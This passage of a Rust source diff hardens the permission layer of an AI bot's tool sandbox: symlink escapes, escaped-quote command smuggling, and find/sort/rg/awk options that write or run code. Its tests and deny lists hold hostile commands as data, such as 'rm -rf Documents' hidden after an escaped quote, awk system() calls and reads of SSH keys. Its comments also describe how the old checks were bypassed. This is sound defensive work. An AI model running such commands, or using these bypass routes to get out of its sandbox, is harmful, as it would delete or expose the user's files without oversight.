/// folder's real place, plus its name) and for a link to something that isn't there yet (what
/// would be made by writing to it).
fn real_of(p: &Path) -> PathBuf {
fn steps(p: &Path, links: usize) -> PathBuf {
if let Ok(real) = std::fs::canonicalize(p) {
return real;
}
if links < 16 {
if let Ok(to) = std::fs::read_link(p) {
let to = if to.is_absolute() { to } else { p.parent().unwrap_or(Path::new("/")).join(to) };
return steps(&resolve(Path::new("/"), &to.to_string_lossy()), links + 1);
}
}
match (p.parent(), p.file_name()) {
(Some(parent), Some(name)) if parent != p => steps(parent, links).join(name),
_ => p.to_path_buf(),
}
}
steps(p, 0)
}
/// The file is in the folder — the real file, in the real folder. How the path is spelled is
/// not enough: a link inside the folder that points out of it is a way out. (A command the
/// sandbox keeps inside the folder can still make such a link; reading or editing "through"
/// it then reached any file of the person's, with no question — from the bot's sealed folder
/// too.)
fn within(folder: &Path, p: &Path) -> bool {
inside(&real_of(folder), &real_of(p))
}
/// Files a bot never reads or writes: secrets and version-control internals /// Files a bot never reads or writes: secrets and version-control internals
/// (the original blocks reads/writes by ignore files and repo-block globs), /// (the original blocks reads/writes by ignore files and repo-block globs),
/// plus this app's own data folder, where API keys are saved. /// plus this app's own data folder, where API keys are saved.
@ -208,47 +239,200 @@ const READ_ONLY_COMMANDS: [&str; 24] = [
/// Always refused. /// Always refused.
const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"]; const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"];
/// Split `a && b | c; d` into its commands, keeping quoted text together. /// One command of a chain. `hidden`: it carries commands the rules can't read ($(…), backticks,
/// Returns None when the command hides other commands ($(), backticks, eval). /// <(…), eval…), so being a "looking" command says nothing about what it runs.
pub fn split_commands(cmd: &str) -> Option<Vec<String>> { struct Piece {
let mut parts = vec![]; text: String,
hidden: bool,
}
/// Split `a && b | c; d` where the shell itself would: at the separators outside quotes and
/// outside $(…) and backticks. None when a quote or a substitution never closes (nothing in
/// such a command can be read for sure).
///
/// A backslash makes the next character plain text, as it does for the shell: `\"` opens no
/// quote and `\;` ends no command. Without that, `echo \"; rm -rf x; echo \"` read as one
/// harmless `echo`.
fn split_shell(cmd: &str) -> Option<Vec<Piece>> {
#[derive(PartialEq)]
enum In {
Double,
Paren,
Tick,
}
fn close(cur: &mut String, hidden: &mut bool, pieces: &mut Vec<Piece>) {
let text = cur.trim().to_string();
if !text.is_empty() {
let first = text.split_whitespace().next().unwrap_or("");
let runs_words = matches!(first, "eval" | "exec" | "source" | ".");
pieces.push(Piece { text, hidden: *hidden || runs_words });
}
cur.clear();
*hidden = false;
}
let mut pieces = vec![];
let mut cur = String::new(); let mut cur = String::new();
let (mut sq, mut dq) = (false, false); let mut hidden = false;
let mut single = false;
let mut stack: Vec<In> = vec![];
let chars: Vec<char> = cmd.chars().collect(); let chars: Vec<char> = cmd.chars().collect();
let mut i = 0; let mut i = 0;
while i < chars.len() { while i < chars.len() {
let c = chars[i]; let c = chars[i];
let next = chars.get(i + 1).copied(); let next = chars.get(i + 1).copied();
if c == '\'' && !dq { if single {
sq = !sq; single = c != '\'';
} else if c == '"' && !sq { cur.push(c);
dq = !dq; i += 1;
} else if !sq && (c == '`' || (c == '$' && next == Some('('))) { continue;
return None; }
} else if !sq && !dq && (c == ';' || c == '\n' || c == '|' || c == '&') { if c == '\\' {
if !cur.trim().is_empty() { cur.push(c);
parts.push(cur.trim().to_string()); if let Some(n) = next {
} cur.push(n);
cur.clear();
if (c == '|' || c == '&') && next == Some(c) {
i += 1; i += 1;
} }
i += 1; i += 1;
continue; continue;
} }
let in_double = stack.last() == Some(&In::Double);
match c {
'"' if in_double => {
stack.pop();
}
'"' => stack.push(In::Double),
'\'' if !in_double => single = true,
'`' => {
hidden = true;
if stack.last() == Some(&In::Tick) {
stack.pop();
} else {
stack.push(In::Tick);
}
}
'$' | '<' | '>' if next == Some('(') && (c == '$' || !in_double) => {
hidden = true;
stack.push(In::Paren);
cur.push(c);
cur.push('(');
i += 2;
continue;
}
'(' if stack.last() == Some(&In::Paren) => stack.push(In::Paren),
')' if stack.last() == Some(&In::Paren) => {
stack.pop();
}
';' | '\n' | '|' | '&' if stack.is_empty() => {
close(&mut cur, &mut hidden, &mut pieces);
if (c == '|' || c == '&') && next == Some(c) {
i += 1;
}
i += 1;
continue;
}
_ => {}
}
cur.push(c); cur.push(c);
i += 1; i += 1;
} }
if sq || dq { if single || !stack.is_empty() {
return None; return None;
} }
if !cur.trim().is_empty() { close(&mut cur, &mut hidden, &mut pieces);
parts.push(cur.trim().to_string()); Some(pieces)
} }
if parts.iter().any(|p| { let w = p.split_whitespace().next().unwrap_or(""); w == "eval" || w == "exec" || w == "source" || w == "." }) {
/// Split `a && b | c; d` into its commands, keeping quoted text together.
/// Returns None when the command hides other commands ($(), backticks, eval).
pub fn split_commands(cmd: &str) -> Option<Vec<String>> {
let pieces = split_shell(cmd)?;
if pieces.iter().any(|p| p.hidden) {
return None; return None;
} }
Some(parts) Some(pieces.into_iter().map(|p| p.text).collect())
}
/// The shell would rewrite this command's words before running it: a variable or a brace list
/// (`{a,b}`, `{1..3}`) outside single quotes can stand for any word, an option included.
/// (`HEAD@{1}` is not a list and stays as written.) So can a file name: `*`, `?` or `[` at the
/// head of a word, or in a word that begins with `-`, becomes whatever is in the folder, and a
/// file may be called `-delete` or `--pre=./x`. (`src/*.rs` can only become paths under `src/`.)
fn shell_rewrites(part: &str) -> bool {
let chars: Vec<char> = part.chars().collect();
let (mut single, mut double) = (false, false);
// The first character of the word being read (None between words).
let mut head: Option<char> = None;
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if single {
single = c != '\'';
} else if c == '\\' {
head = head.or(Some('\\'));
i += 1;
} else if c == '\'' {
head = head.or(Some(c));
single = true;
} else if c == '"' {
head = head.or(Some(c));
double = !double;
} else if c == '$' && chars.get(i + 1).is_some_and(|n| n.is_alphanumeric() || *n == '_' || *n == '{') {
return true;
} else if double {
// (Inside double quotes only `$` is rewritten.)
} else if c.is_whitespace() {
head = None;
} else if c == '{' {
let inner: String = chars[i + 1..].iter().take_while(|x| **x != '}').collect();
if inner.contains(',') || inner.contains("..") {
return true;
}
head = head.or(Some(c));
} else if matches!(c, '*' | '?' | '[') {
if head.is_none() || head == Some('-') {
return true;
}
} else {
head = head.or(Some(c));
}
i += 1;
}
false
}
/// A looking command (READ_ONLY_COMMANDS) stays one only without the options that make it
/// write, delete or run something else: `find -delete`, `find -exec`, `sort -o`, `rg --pre`…
/// These went through without a question because only the first word was read.
///
/// Quotes and backslashes are dropped before matching, as the shell drops them (`-del"ete"`),
/// and a command whose words the shell would rewrite asks instead of being guessed at.
fn read_only(part: &str) -> bool {
if !READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) {
return false;
}
let w: Vec<String> = words(part).iter().map(|a| a.replace(['\'', '"', '\\'], "")).collect();
let long = |names: &[&str]| w.iter().any(|a| names.iter().any(|n| a == n || a.strip_prefix(n).is_some_and(|r| r.starts_with('='))));
let short = |c: char| w.iter().skip(1).any(|a| a.starts_with('-') && !a.starts_with("--") && a.contains(c));
let changes = match w.first().map(String::as_str).unwrap_or("") {
"find" => w.iter().any(|a| matches!(a.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir" | "-delete" | "-fprint" | "-fprint0" | "-fprintf" | "-fls")),
"sort" => short('o') || long(&["--output", "--compress-program"]),
"tree" => short('o'),
"rg" => long(&["--pre", "--hostname-bin"]),
"git" => long(&["--output"]),
// `uniq in out` writes its second file.
// (`-` alone is a file too: standard input.)
"uniq" => w.iter().skip(1).filter(|a| *a == "-" || !a.starts_with('-')).count() > 1,
"file" => short('C') || long(&["--compile"]),
// The rest have no such option: nothing to hide behind a variable.
_ => return true,
};
!changes && !shell_rewrites(part)
}
/// A looking command whose options can make it write, delete or run something (the ones
/// `read_only` reads the options of).
fn has_changing_options(part: &str) -> bool {
READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) && matches!(words(part).first().copied().unwrap_or(""), "find" | "sort" | "tree" | "rg" | "git" | "uniq" | "file")
} }
fn words(cmd: &str) -> Vec<&str> { fn words(cmd: &str) -> Vec<&str> {
@ -312,10 +496,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
match name { match name {
"list_dir" | "search" | "read_file" => { "list_dir" | "search" | "read_file" => {
let p = resolve(workdir, &arg_str(&v, "path")); let p = resolve(workdir, &arg_str(&v, "path"));
if is_ignored(&p) { if is_ignored(&p) || is_ignored(&real_of(&p)) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display())); return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display()));
} }
if inside(workdir, &p) || granted("read:anywhere") { if within(workdir, &p) || granted("read:anywhere") {
Decision::Allow Decision::Allow
} else { } else {
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() } Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() }
@ -324,10 +508,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
"read_terminal" | "write_terminal" => Decision::Allow, "read_terminal" | "write_terminal" => Decision::Allow,
"edit_file" => { "edit_file" => {
let p = resolve(workdir, &arg_str(&v, "path")); let p = resolve(workdir, &arg_str(&v, "path"));
if is_ignored(&p) { if is_ignored(&p) || is_ignored(&real_of(&p)) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display())); return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display()));
} }
if !inside(workdir, &p) { if !within(workdir, &p) {
return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() }; return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() };
} }
if granted("edit_file") { if granted("edit_file") {
@ -341,35 +525,40 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
if cmd.trim().is_empty() { if cmd.trim().is_empty() {
return Decision::Deny("沒有指令".into()); return Decision::Deny("沒有指令".into());
} }
let Some(parts) = split_commands(&cmd) else { let Some(pieces) = split_shell(&cmd) else {
// Commands the splitter can't read ($(), backticks, eval…) ask once and remember // A quote or a $(…) that never closes: where one command ends and the next
// by their first word: 「一律允許」 on `git` covers `git … $(…)` afterwards, so // begins can't be told, so no grant covers it and none is offered.
// the same shape of command doesn't ask again (models use $(…) constantly).
if let Some(d) = denied_hit(&cmd) { if let Some(d) = denied_hit(&cmd) {
return Decision::Deny(format!("「{d}」這類指令一律不允許。")); return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
} }
let grant = shell_grant(&cmd); return Decision::Ask { reason: format!("執行指令(引號或括號沒有成對,無法自動判斷):{cmd}"), grant: String::new() };
if !writes_files(&cmd) && granted(&grant) {
return Decision::Allow;
}
return Decision::Ask { reason: format!("執行指令(含有隱藏的子指令,無法自動判斷):{cmd}"), grant };
}; };
// deny // deny
for part in &parts { for piece in &pieces {
if let Some(d) = denied_hit(part) { if let Some(d) = denied_hit(&piece.text) {
return Decision::Deny(format!("「{d}」這類指令一律不允許。")); return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
} }
} }
// (No word-by-word path scan here: secret folders are the sandbox's job, and // (No word-by-word path scan here: secret folders are the sandbox's job, and
// scanning words as paths denied perfectly ordinary commands.) // scanning words as paths denied perfectly ordinary commands.)
// allow: every part is read-only or already granted // allow: every part is read-only or already granted. A part that hides other
let ok = |part: &String| !writes_files(part) && (READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) || granted(&shell_grant(part))); // commands ($(), backticks, eval…) is never read-only: it asks once and is
let unapproved: Vec<&String> = parts.iter().filter(|p| !ok(p)).collect(); // remembered by its first word, so 「一律允許」 on `git commit` covers
// `git commit -m "$(…)"` afterwards (models use $(…) constantly) — but only that
// part: the grant used to let everything chained after it through as well.
//
// A looking command that may do more than look (`find … -delete`, `sort -o`, or
// one whose words can't be read) is asked each time: 「一律允許」 on its first word
// would be every `find -exec` from then on, on a word nobody thinks of as dangerous.
let each_time = |p: &Piece| has_changing_options(&p.text) && (p.hidden || !read_only(&p.text));
let ok = |p: &Piece| !writes_files(&p.text) && ((!each_time(p) && granted(&shell_grant(&p.text))) || (!p.hidden && read_only(&p.text)));
let unapproved: Vec<&Piece> = pieces.iter().filter(|p| !ok(p)).collect();
if unapproved.is_empty() { if unapproved.is_empty() {
return Decision::Allow; return Decision::Allow;
} }
let grant = if unapproved.len() == 1 && !writes_files(unapproved[0]) { shell_grant(unapproved[0]) } else { String::new() }; let grant = if unapproved.len() == 1 && !writes_files(&unapproved[0].text) && !each_time(unapproved[0]) { shell_grant(&unapproved[0].text) } else { String::new() };
Decision::Ask { reason: format!("執行指令:{cmd}"), grant } let note = if pieces.iter().any(|p| p.hidden) { "(含有隱藏的子指令,無法自動判斷)" } else { "" };
Decision::Ask { reason: format!("執行指令{note}:{cmd}"), grant }
} }
other => Decision::Deny(format!("沒有「{other}」這個工具")), other => Decision::Deny(format!("沒有「{other}」這個工具")),
} }
@ -586,11 +775,43 @@ fn process_listing(cmd: &str) -> bool {
return false; return false;
} }
parts.all(|p| { parts.all(|p| {
let mut w = p.split_whitespace(); if p.contains('/') {
matches!(w.next().unwrap_or(""), "grep" | "egrep" | "head" | "tail" | "wc" | "sort" | "uniq" | "cut" | "awk") && !p.contains('/') return false;
}
match p.split_whitespace().next().unwrap_or("") {
"egrep" | "cut" => true,
"awk" => awk_only_prints(p),
// (`sort -o`, `sort --compress-program`, `uniq in out`: not filters any more.)
"grep" | "head" | "tail" | "wc" | "sort" | "uniq" => read_only(p),
_ => false,
}
}) })
} }
/// `awk [-F sep] [-v name=value] 'program'` whose program starts nothing: awk can run any
/// command itself (`system("…")`, `"cmd" | getline`, `print | "cmd"`), read a program from a
/// file (`-f`) and load code (`@include`, `@load`) — here that would be outside the sandbox.
fn awk_only_prints(part: &str) -> bool {
let Some(w) = plain_words(part) else { return false };
let mut rest = w.iter().skip(1).map(String::as_str).peekable();
while let Some(a) = rest.peek().copied() {
match a {
"-F" | "-v" => {
rest.next();
if rest.next().is_none() {
return false;
}
}
_ if a.starts_with("-F") || a.starts_with("-v") => {
rest.next();
}
_ => break,
}
}
let (Some(program), None) = (rest.next(), rest.next()) else { return false };
!program.starts_with('-') && !["system", "getline", "|", "@", "fflush", "close"].iter().any(|k| program.contains(k))
}
/// A command's words the way the shell reads them, or None when it is more than one plain /// A command's words the way the shell reads them, or None when it is more than one plain
/// program call: anything outside quotes that joins, redirects, pipes, backgrounds or /// program call: anything outside quotes that joins, redirects, pipes, backgrounds or
/// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution /// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution
@ -981,7 +1202,7 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
return Decision::Allow; return Decision::Allow;
} }
let p = resolve(root, &arg_str(&v, "path")); let p = resolve(root, &arg_str(&v, "path"));
if !inside(root, &p) { if !within(root, &p) {
return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display())); return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display()));
} }
Decision::Allow Decision::Allow
@ -1015,6 +1236,39 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
} }
} }
/// A file on its way out of a computer — into the chat (send_file) or onto the person's screen
/// (open_for_person) — is read on the way, so it meets read_file's walls. It used to meet none:
/// any path on this computer went out without a question, and from the bot's sealed folder a
/// `..` reached the rest of the home folder.
///
/// The real file is what counts, not how the path is spelled: a link inside the folder that
/// points outside it is outside.
pub fn decide_file_out(target: &Target, path: &str, grants: &[String]) -> Decision {
let (base, sealed) = match &target.place {
Place::Local { workdir } => (workdir.as_path(), false),
Place::Sealed { root } => (root.as_path(), true),
// The box has its own wall (box_path); another computer answers for its own files.
_ => return Decision::Allow,
};
let named = resolve(base, path);
let real = std::fs::canonicalize(&named).unwrap_or_else(|_| named.clone());
if is_ignored(&named) || is_ignored(&real) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", named.display()));
}
let home = std::fs::canonicalize(base).unwrap_or_else(|_| base.to_path_buf());
// (A path that names nothing yet has no real form: it is judged as spelled.)
let within = inside(&home, &real) || (real == named && inside(base, &named));
if within {
Decision::Allow
} else if sealed {
Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, named.display()))
} else if grants.iter().any(|g| g == "read:anywhere") {
Decision::Allow
} else {
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", named.display()), grant: "read:anywhere".into() }
}
}
/// Run a remote command and give back its output (no background hand-off). /// Run a remote command and give back its output (no background hand-off).
fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result<String, String> { fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result<String, String> {
use std::io::Write; use std::io::Write;
@ -1320,6 +1574,11 @@ fn search(pattern: &str, root: &Path, files_only: bool) -> Result<String, String
if is_ignored(&p) { if is_ignored(&p) {
continue; continue;
} }
// Links are not followed (ripgrep doesn't either): a linked folder is a way out
// of the folder being searched, and a link back up is a walk without end.
if p != root && p.symlink_metadata().map(|m| m.file_type().is_symlink()).unwrap_or(false) {
continue;
}
if p.is_dir() { if p.is_dir() {
if let Ok(rd) = std::fs::read_dir(&p) { if let Ok(rd) = std::fs::read_dir(&p) {
stack.extend(rd.filter_map(|e| e.ok()).map(|e| e.path()).filter(|q| q.file_name().map(|n| n != "node_modules" && n != "target").unwrap_or(true))); stack.extend(rd.filter_map(|e| e.ok()).map(|e| e.path()).filter(|q| q.file_name().map(|n| n != "node_modules" && n != "target").unwrap_or(true)));
@ -1562,6 +1821,169 @@ mod tests {
assert_eq!(split_commands("ls -la && git status | head; echo 'a;b'").unwrap(), vec!["ls -la", "git status", "head", "echo 'a;b'"]); assert_eq!(split_commands("ls -la && git status | head; echo 'a;b'").unwrap(), vec!["ls -la", "git status", "head", "echo 'a;b'"]);
assert!(split_commands("echo $(whoami)").is_none()); assert!(split_commands("echo $(whoami)").is_none());
assert!(split_commands("eval ls").is_none()); assert!(split_commands("eval ls").is_none());
// A backslash-quote opens no quote: these are three commands, as the shell runs them.
assert_eq!(split_commands(r#"echo \"; rm -rf x; echo \""#).unwrap(), vec![r#"echo \""#, "rm -rf x", r#"echo \""#]);
assert_eq!(split_commands(r"echo a\;b; ls").unwrap(), vec![r"echo a\;b", "ls"]);
assert_eq!(split_commands(r#"echo "a\"; b" && ls"#).unwrap(), vec![r#"echo "a\"; b""#, "ls"]);
assert_eq!(split_commands(r"echo 'a\' ; ls").unwrap(), vec![r"echo 'a\'", "ls"]);
assert!(split_commands("echo 'never closed").is_none());
// What hides inside $(…) stays inside its own part.
let pieces = split_shell(r#"npm install; rm -rf x; git commit -m "$(cat a; cat b)" | head"#).unwrap();
assert_eq!(pieces.iter().map(|p| (p.text.as_str(), p.hidden)).collect::<Vec<_>>(), vec![("npm install", false), ("rm -rf x", false), (r#"git commit -m "$(cat a; cat b)""#, true), ("head", false)]);
assert!(split_shell("echo $(ls").is_none());
}
#[test]
fn looking_commands_that_do_more_than_look_ask() {
let w = wd();
let ask = |cmd: &str, grants: &[String]| decide("shell", &serde_json::json!({"command": cmd}).to_string(), &w, grants);
// The first word says "look"; the options delete, write, or run something else.
for cmd in [
"find . -name '*.docx' -delete",
"find . -maxdepth 0 -exec sh -c 'id' \\;",
"find . -execdir rm {} +",
"find . -ok rm {} \\;",
"find . -fprint out.txt",
"find . -del\"ete\"",
"find . -de\\lete",
"find . -${nothing}delete",
"find . -{delete,print}",
"sort -o notes.txt notes.txt",
"sort -ro notes.txt notes.txt",
"sort --output=notes.txt notes.txt",
"sort --compress-program=sh notes.txt",
"rg --pre ./run.sh pattern",
"rg --pre=./run.sh pattern",
"git diff --output=notes.txt",
"git log --output notes.txt",
"tree -o notes.txt",
"uniq a.txt b.txt",
"ls && find . -delete",
] {
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
}
// Plain looking still doesn't ask.
for cmd in [
"find . -name '*.rs' -type f",
"find . -newer Cargo.toml -print | sort | uniq -c | head",
"rg -n 'fn main$' src",
"git show HEAD@{1} --stat",
"git log --oneline -5",
"sort -rn counts.txt",
"echo $HOME && ls $HOME",
"tree -L 2",
] {
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
}
// A file can be named like an option: a pattern that may become one asks; one that
// can only become paths in a folder doesn't.
for cmd in ["find . *", "rg pattern --pr*", "sort [a-z]*", "find . -name ?delete", "sort -?"] {
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
}
for cmd in ["rg -n main src/*.rs", "find . -name \"*.rs\"", "ls *", "cat *.md | head", "sort notes/*.txt"] {
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
}
// 「一律允許」 isn't offered for these, and one on the first word doesn't cover them.
let find = vec!["shell:find".to_string(), "shell:sort".to_string()];
for cmd in ["find . -delete", "sort -o notes.txt notes.txt", "find . $(echo -delete)", "find . -name \"$(cat name.txt)\""] {
assert!(matches!(ask(cmd, &find), Decision::Ask { ref grant, .. } if grant.is_empty()), "{cmd}");
}
assert_eq!(ask("find . -name '*.rs'", &find), Decision::Allow);
// The reported one: an escaped quote hid two more commands inside "one echo".
assert!(matches!(ask(r#"echo \"; rm -rf Documents; echo \""#, &[]), Decision::Ask { .. }));
// 「一律允許」 on one command covers that command, not what is chained after it.
let npm = vec!["shell:npm install".to_string()];
assert_eq!(ask("npm install && ls", &npm), Decision::Allow);
assert!(matches!(ask("npm install; rm -rf x; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
assert!(matches!(ask("npm install; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant == "shell:echo"));
let git = vec!["shell:git commit".to_string()];
assert_eq!(ask(r#"git status && git commit -m "$(cat msg.txt)""#, &git), Decision::Allow);
// The always-denied list is read in every part, hidden commands or not.
assert!(matches!(ask("echo $(true); sudo rm x", &["shell:echo".to_string()]), Decision::Deny(_)));
// Quotes that never close: asked every time, no grant offered or honoured.
assert!(matches!(ask("npm install\nrm -rf x\necho '", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
}
/// A link in the folder that points out of it is outside it: for reading, for editing, and
/// from the bot's sealed folder.
#[cfg(unix)]
#[test]
fn a_link_out_of_the_folder_is_outside_it() {
let w = wd().join("link-out");
let _ = std::fs::remove_dir_all(&w);
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(work.join("sub")).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(elsewhere.join("taxes.txt"), "x").unwrap();
std::fs::write(work.join("sub/notes.txt"), "x").unwrap();
std::os::unix::fs::symlink(&elsewhere, work.join("out")).unwrap();
std::os::unix::fs::symlink(elsewhere.join("taxes.txt"), work.join("taxes")).unwrap();
std::os::unix::fs::symlink(elsewhere.join("not-yet.txt"), work.join("new")).unwrap();
std::os::unix::fs::symlink(work.join("sub"), work.join("same")).unwrap();
let args = |p: &str| json!({"path": p}).to_string();
let edits = ["edit_file".to_string()];
for p in ["out/taxes.txt", "taxes", "out", "new", "out/made-here.txt"] {
assert!(matches!(decide("read_file", &args(p), &work, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"), "read {p}");
assert!(matches!(decide("edit_file", &args(p), &work, &edits), Decision::Ask { ref grant, .. } if grant.is_empty()), "edit {p}: asked every time");
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: work.clone() } };
assert!(matches!(decide_on("read_file", &args(p), &sealed, &[]), Decision::Deny(_)), "sealed read {p}");
assert!(matches!(decide_on("edit_file", &args(p), &sealed, &edits), Decision::Deny(_)), "sealed edit {p}");
}
assert!(matches!(decide("search", &args("out"), &work, &[]), Decision::Ask { .. }));
// What stays in the folder is as before: its files, a link to its own inside, a new file.
for p in ["sub/notes.txt", "same/notes.txt", "sub/new.txt", "brand/new/file.txt", ""] {
assert_eq!(decide("read_file", &args(p), &work, &[]), Decision::Allow, "read {p}");
assert_eq!(decide("edit_file", &args(p), &work, &edits), Decision::Allow, "edit {p}");
}
// A private file is private by where it really is, whatever the link is called.
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), work.join("readme.txt")).unwrap();
assert!(matches!(decide("read_file", &args("readme.txt"), &work, &["read:anywhere".to_string()]), Decision::Deny(_)));
let _ = std::fs::remove_dir_all(&w);
}
#[test]
fn a_file_on_its_way_out_meets_the_walls_of_reading_it() {
let w = wd().join("out-gate");
let _ = std::fs::remove_dir_all(&w);
let (inside_dir, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(&inside_dir).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(inside_dir.join("report.pdf"), "x").unwrap();
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
let local = Target { name: "這台電腦".into(), place: Place::Local { workdir: inside_dir.clone() } };
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: inside_dir.clone() } };
let outside = elsewhere.join("taxes.pdf").display().to_string();
// Its own folder: nothing to ask, on either kind of computer; a file not there yet too.
for t in [&local, &sealed] {
assert_eq!(decide_file_out(t, "report.pdf", &[]), Decision::Allow);
assert_eq!(decide_file_out(t, "not-yet.pdf", &[]), Decision::Allow);
}
// The person's computer: outside the work folder asks, like read_file, and remembers.
assert!(matches!(decide_file_out(&local, &outside, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"));
assert!(matches!(decide_file_out(&local, "../elsewhere/taxes.pdf", &[]), Decision::Ask { .. }));
assert_eq!(decide_file_out(&local, &outside, &["read:anywhere".to_string()]), Decision::Allow);
// The bot's sealed folder: the rest of the computer isn't there, however it is spelled.
assert!(matches!(decide_file_out(&sealed, &outside, &["read:anywhere".to_string()]), Decision::Deny(_)));
assert!(matches!(decide_file_out(&sealed, "../elsewhere/taxes.pdf", &[]), Decision::Deny(_)));
// Secrets stay, granted or not.
assert!(matches!(decide_file_out(&local, ".env", &["read:anywhere".to_string()]), Decision::Deny(_)));
// A link inside the folder that points out of it is outside.
#[cfg(unix)]
{
std::os::unix::fs::symlink(&elsewhere, inside_dir.join("way-out")).unwrap();
assert!(matches!(decide_file_out(&sealed, "way-out/taxes.pdf", &[]), Decision::Deny(_)));
assert!(matches!(decide_file_out(&local, "way-out/taxes.pdf", &[]), Decision::Ask { .. }));
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), inside_dir.join("notes.txt")).unwrap();
assert!(matches!(decide_file_out(&local, "notes.txt", &["read:anywhere".to_string()]), Decision::Deny(_)));
}
// The box and other computers keep their own checks.
let on_box = Target { name: "Bot 的電腦".into(), place: Place::Box { dir: "/home/bot/bot-1".into() } };
assert_eq!(decide_file_out(&on_box, "/etc/hosts", &[]), Decision::Allow);
let _ = std::fs::remove_dir_all(&w);
} }
#[test] #[test]
@ -1617,6 +2039,16 @@ mod tests {
assert!(process_listing("ps aux")); assert!(process_listing("ps aux"));
assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep")); assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep"));
assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5")); assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5"));
assert!(process_listing("ps aux | awk -F: -v n=2 'NR == n {print $2, $11}' | sort -rn | uniq -c"));
// awk can start any program itself, and these run outside the sandbox.
assert!(!process_listing(r#"ps aux | awk 'BEGIN { system("rm -rf Documents") }'"#));
assert!(!process_listing(r#"ps aux | awk '{ "id" | getline x; print x }'"#));
assert!(!process_listing("ps aux | awk -f steal.awk"));
assert!(!process_listing("ps aux | awk '{print}' notes.txt"));
assert!(!process_listing("ps aux | awk '@load \"x\"; {print}'"));
assert!(!process_listing("ps aux | sort -o listing.txt"));
assert!(!process_listing("ps aux | sort --compress-program=sh"));
assert!(!process_listing("ps aux | uniq - listing.txt"));
assert!(process_listing("top -l 1 -n 0")); assert!(process_listing("top -l 1 -n 0"));
assert!(!process_listing("ps aux > /tmp/x")); assert!(!process_listing("ps aux > /tmp/x"));
assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa")); assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa"));

View File

@ -315,20 +315,29 @@ pub fn github_runs(runs: &Value, seen: &mut HashSet<u64>, first: bool) -> Vec<Ev
/// status changes. Events are `created` and `<status>`. /// status changes. Events are `created` and `<status>`.
pub fn status_changes(prev: &mut HashMap<String, String>, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> { pub fn status_changes(prev: &mut HashMap<String, String>, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> {
let mut out = vec![]; let mut out = vec![];
